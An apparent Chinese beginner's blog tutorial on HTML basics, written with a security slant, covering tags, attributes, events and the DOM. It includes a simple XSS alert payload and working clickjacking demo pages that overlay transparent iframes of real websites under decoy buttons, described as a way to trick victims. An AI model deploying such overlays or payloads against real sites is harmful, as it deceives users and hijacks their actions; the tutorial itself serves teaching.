HTML基础入门

一、前述

网页组成的三剑客：HTML+CSS+JavaScript

  • HTML就是是简单的将所编辑好的页面呈现给用户，没有任何装饰，它是一种静态网页，并不好看，很干瘪，也不会与用户交互。

  • CSS 就是给HTML做了渲染，装饰，让普通的页面变得美丽了起来，但此时还是静态页面。

  • JavaScript 可以让页面动起来，活灵活现。

用一辆车类比：

一个个空荡荡的车架子，就是HTML，什么也干不了，不绚丽，也不会动，直到装饰它们，它开始变得好看起来，各种喷漆颜色，各种炫酷的外饰，下一步开始加入驱动方式，让它能够跑起来。

这样就构成了常见的丰富多彩的动态网页，正是加入了这些也让前端页面出现了各种各样漏洞。

二、什么是HTML

  • HTML （Hyper Text Markup Language），超文本标记语言

  • HTML是一种标记语言，并不是编程语言

  • HTML的后缀是 .html 或 .htm ，只需将文本变为改后缀，即可成为HTML页面

  • HTML有自己的标签，用于标记所描述的东西

1、什么是标记语言

HTML是一个干瘪的框架，它可以简单的将所描述的东西用特定的标签来标记，这个标记是给浏览器看的。举个超链接的例子，点击超链接会跳转到另一个被设定好的域名下，在HTML中，使用的是 a 标签，设定好文本和连接后点击它，就会跳转到设置好的地址。浏览器在做处理时，看到了 a 标签，就知道这是个超链接的含义，就会将它处理为超链接。

2、HTML使用规则

  • HTML标签大多都是成对出现的，比如： <p>test</p> ，以 <开始标签> 开始，以 </结束标签> 结束。也有单独出现的标签，比如 <a> ， <img> 等等。

  • HTML不区分大小写

HTML分为三层，第一层为 HTML 整体，第二层为 Head 头部分，第三层是 Body 体部分。

  • Head头部常会编写一些提前设定好的信息，CSS和JavaScript也常写在此部分，head是用户不可见的部分。

  • Body体部是使用标记语言，将文本或其它标记好，呈现给用户的部分。

3、HTML基础三层

// HTML基础三层都是以成对出现的
<html>  // <html>标签包含整个HTML文档
    <head>
        // <head>标签下内容是用户不可见部分，大多JavaScript和CSS都写在这个地方
    </head>
    <body>
        // 主要在<body>标签下写入语句，大多所描述东西都会直接呈现给用户
    </body>
</html>

4、HTML示例

右键 ---> 新建文本 ---> 将后缀名改为 .html 即可

使用任意文本编辑器都可以编辑HTML文档

<html>
    <head>
        <title>TITLE</title>
        <meta charset="utf-8" />
    </head>
    <body>
        <h1>标题H1</h1>
    </body>
</html>

三、HTML属性与事件

1、HTML属性

HTML有很多标签，每个标签代表不同的含义，标签也有自己的属性，属性对将所描述的事物赋予意义，也是该标签所描述事物的附加信息。

1.1 例一

超链接 a 标签，想要超链接到其它地址，就需要一个 href 属性，该属性设置的值即为跳转的地址：

<a href="https://bing.com">点我跳转到Bing</>

1.2 例二

图像 img 标签，是用于加载出一个图像，它有width和height这两个属性，代表着图像显示在浏览器中的高度和宽度：

<img src="图像地址"height="100%" width="50%" />

2、HTML事件

HTML事件主要是指在浏览器中触发动作的能力，比如点击某个事物时启动JavaScript。

一个常见的XSS漏洞小例子，非常简单的语句：

<img src=x onerror=alert(/xss/) />

首先使用 img 标签显示一个图像，但 src=x 指向的图像地址是不存在，是个错误状态，随即加载HTML的onerror 事件，然后 onerror 反馈的动作是 alert(/xss/) ，这个指的是弹出个对话框，并且内容显示为 /xss/ 。

这个例子HTML事件是 onerror ，还有很多事件，比如onclick ， onload 等等，扩展阅读：

https://www.w3school.com.cn/tags/html_ref_eventattributes.asp

四、常见的HTML标签

1、<!DOCTYPE>

<!DOCTYPE> 声明必须是 HTML 文档的第一行，位于 HTML 标签之前。
<!DOCTYPE> 声明不是HTML标签；它是指示 Web 浏览器关于页面使用哪个 HTML 版本进行编写的令。

2、换行标签

<br>标签是空标签，意味着它没有结束标签，因此这是错误的：<br></br>

3、注释

<!-- 注释 -->

4、段落标签

<p>P标签代表一个段落</p>

5、超链接标签

<a href="www.bing.com">必应搜索</a>

6、图像标签

<img src="图像地址（本机图像地址/远程图像地址）" alt="浏览器加载图像失败显示该文本" />

7、多行文本输入标签

<textarea rows="3" cols="20">rows和cols两个的数值代表textarea的尺寸</textarea>

8、文档标题标签

<title>这个标签在 head 头中，是文档的标题</title>

9、内联框架标签

// width和height属性代表该框架的宽和高，可设置具体数值，也可以设置百分比
<iframe src="www.bing.com" width="100%" height="100%" />

10、表单标签

<form> 表单用于收集用户的输入
表单中有个常见的 <input> 标签，该标签根据type属性不同，有不同的形态

例如：

<form action="指向要传回服务器端处理该表单的脚本相对地址">
    文字输入：<input type="text" name="text" />
    单选按钮：<input type="radio" />
    提交按钮：<input type="submit" name="submit" value="submit" />
</form>

11、scirpt 标签

<scirpt>：JavaScript脚本语言标签，在标签内可执行JavaScript语言

五、HTML字符实体

HTML预留了一些字符，不能去使用这些字符文本，不然浏览器可能会误认为HTML标 签。但是可以使用字符实体来使用这些字符文本，下面是常用的五个：

字符实体编号实体名称描述
" &#34 &quot; quotation mark
'' &#39 &apos; apostrophe
& &#38 &amp; ampersand
< &#60 &lt; less-than
> &#62 &gt; greater-than

六、HTML DOM简述

DOM（Document Object Model，文档对象模型），定义了访问和操作 HTML 文档的标准方法，并且DOM 是以树结构来表达 HTML 文档。

简单理解，就是将标签（下图中的元素）进行树形的结构化。这样，JavaScript 就获得了足够的能力来创建动态的 HTML。

HTML DOM树：

 

配合JavaScript实现一些页面，拓展阅读：

https://www.w3school.com.cn/js/js_htmldom.asp

七、点击劫持（一个跟HTML相关的漏洞）

点击劫持 (Clickjacking) 技术又称为界面伪装攻击 (UI redress attack )，是一种视觉上的欺骗手段。攻击者使用一个或多个透明的 iframe 覆盖在一个正常的网页上，然后诱使用户在该网页上进行操作，当用户在不知情的情况下点击透明的 iframe 页面时，用户的操作已经被劫持到攻击者事先设计好的恶意按钮或链接上。攻击者既可以通过点击劫持设计一个独立的恶意网站，执行钓鱼攻击等；也可以与 XSS 和 CSRF 攻击相结合，突破传统的防御措施，提升漏洞的危害程度。

1、简单的示例

完全显示页面：

<!DOCTYPE html>
<html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta http-equiv="X-UA-Compatible" content="IE=edge">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>山东信息职业技术学院-国家级示范性软件职业技术学院</title>
        <style>
            html,body,iframe{
                display: block;  /* 显示：block为块状显示 */
                height: 100%;  /* 这是高度 */
                width: 100%;  /* 这是宽度，和高度设置为100%，会填满整个浏览器 */
                margin: 0;  /* 这个和下面padding代表间距：元素间距离为0 */
                padding: 0;
                border: none; /* 边框：设置为None 为不可见 */
            }
        </style>
    </head>
    <body>
        <iframe src="https://www.sdcit.edu.cn/"></iframe>
    </body>
</html>

这样就完全将界面显示出来了，点击劫持代码：

<!DOCTYPE html>
<html lang="en">
​
<head>
    <meta charset="UTF-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>山东信息职业技术学院-国家级示范性软件职业技术学院</title>
    <style>
        html,body,iframe {
            display: block;  /* 显示：block为块状显示 */
            height: 100%;  /* 这是高度 */
            width: 100%;  /* 这是宽度，和高度设置为100%，会填满整个浏览器 */
            margin: 0;  /* 这个和下面padding代表间距：元素间距离为0 */
            padding: 0;
            border: none;  /* 边框：设置为None 为不可见 */
        }
        /* 该设置是将iframe标签下的网站可见度设置为0，也可以任意修改其值，为了多浏览器兼容性 */
        iframe {
            /* 设置了多个值，针对浏览器来修改相对应地址的数值，可调可见度 */
            filter: alpha(opacity=30);  /* IE浏览器 */
            -moz-opacity: 0.9;  /* MOZ + FF */
​
            /* 设置透明度，0为完全透明 */
            opacity: 0.5;  /* 支持CSS3浏览器，FF1.5也支持 */
​
            position: absolute;
            z-index: 2;  /* 该值越大，视觉效果越明显 */
        }
    </style>
</head>
​
<body>
    <iframe src="https://www.sdcit.edu.cn/"></iframe>
</body>
​
</html>

可以看到页面可见度变低了，想象一下点击劫持的构造过程，可以将其它的界面可见度变成了0，再做个页面将其覆盖。可以做一个有趣的小游戏，诱骗别人去点击，这个小游戏的目的是记录受害人账号，或者其它，比如设置个按钮，点击这个按钮可以看个美女照片，实际点击按钮是登录受害人的账号，各种诱骗。

捉弄人的代码：

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>秘密</title>
    <style>
        iframe {
            /*窗口的大小*/
            width: 100%;
            height: 100%;
            /*定位绝对位置*/
            position: absolute;
            top: 0px;
            left: 0px;
            z-index: 2;
            /* 从视图上隐藏 */
            -moz-opacity: 0.5;
            opacity: 0;
            filter: alpha(opacity=0.5);
        }
        /*按钮的位置*/
        button {
            position: absolute;
            top: 360px;
            left: 550px;
            z-index: 1;
            width: 120px;
        }
        h1 {
            text-align: center;
        }
    </style>
</head>
<body>
    <h1>那些不能说的秘密</h1>
    <button>查看详情</button>
    <iframe src="https://www.5yju.com/play-22210-1-1.html"></iframe>
    <img src="https://gimg2.baidu.com/image_search/src=http%3A%2F%2Fpic1.win4000.com%2Fwallpaper%2F2017-12-01%2F5a21448913857.jpg&refer=http%3A%2F%2Fpic1.win4000.com&app=2002&size=f9999,10000&q=a80&n=0&g=0n&fmt=auto?sec=1668257004&t=c31de466f626ffe95c314c7cbb3c3a39" width="25%" height="25%" style="position:absolute;top:130px;left:565px;" />
</body>
</html>

点击劫持也有防护，常用x-frame-options头防御，将其值设置为sameorgin，即可有效的防御。

2、拓展阅读：

https://www.freebuf.com/vuls/334446.html

 

 

posted @ 2022-10-13 21:03  HKalpa  阅读(215)  评论(0)    收藏  举报